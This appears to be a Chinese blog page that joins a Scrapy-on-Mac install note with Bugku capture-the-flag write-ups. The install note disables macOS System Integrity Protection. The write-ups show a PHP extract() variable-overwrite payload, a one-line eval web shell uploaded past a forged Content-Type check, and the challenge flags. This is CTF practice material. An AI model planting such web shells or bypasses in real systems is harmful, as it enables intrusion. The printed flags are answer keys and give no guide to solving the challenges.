Scrapy在Mac上的安装

#准备工作

若你的Mac OS系统为10.11或更高版本:
1.重新启动Mac OS
2.重启时按住Command+R,进入Recovery模式
3.选择实用工具里的终端并输入:
csrutil disable;
4.重新启动,回到Mac OS

Bugku-代码审计

#extract变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

传输方式:get
要求:$shiyan==$content
题解:extract()函数, 将GET方式获得的变量导入到当前的符号表中
构造payload:http://120.24.86.145:9009/1.php?flag=&shiyan=

Bugku-Web

#web2

F12查看网页源代码得到Flag
KEY{Web-2-bugKssNNikls9100}

#文件上传测试

要求上传php文件

1
2
3
<?php
eval($_POST[1]);
?>

抓包 提示:非图片文件
修改 Content-Type: image/png
upload successful
Flag:42e97d465f962c53df9549377b513c7e